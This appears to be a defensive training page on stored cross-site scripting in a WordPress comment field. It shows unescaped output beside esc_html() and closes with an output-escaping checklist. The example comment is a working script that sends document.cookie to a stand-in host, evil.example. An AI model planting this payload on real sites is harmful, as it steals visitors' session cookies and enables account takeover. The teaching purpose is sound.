Track 03

🧬 Cross-Site Scripting

A comment field is the classic stored-XSS surface: unescaped output means every visitor who loads the page runs whatever script was saved. Flip the breaker to see esc_html() neutralize it.

Comment output handling

UNESCAPEDESC_HTML()

MODE

// Comment saved: <script>document.location='https://evil.example/steal?c='+document.cookie</script>
echo $comment_text;

-- rendered in every visitor's browser --
<script>document.location='https://evil.example/steal?c='+document.cookie</script>// Same stored comment
echo esc_html( $comment_text );

-- rendered as inert text --
&lt;script&gt;document.location='https://evil.example/steal?c='+document.cookie&lt;/script&gt;

Output-escaping checklist

esc_html() for text content, esc_attr() for HTML attributes, esc_url() for links.
Set a Content-Security-Policy header as defense in depth.
Verify nonces (wp_verify_nonce()) on every privileged action, so a hijacked session can't act without one.
Sanitize on input and escape on output — don't rely on either alone.
Treat stored XSS in comments/plugin settings as a full admin-compromise path, not just cosmetic.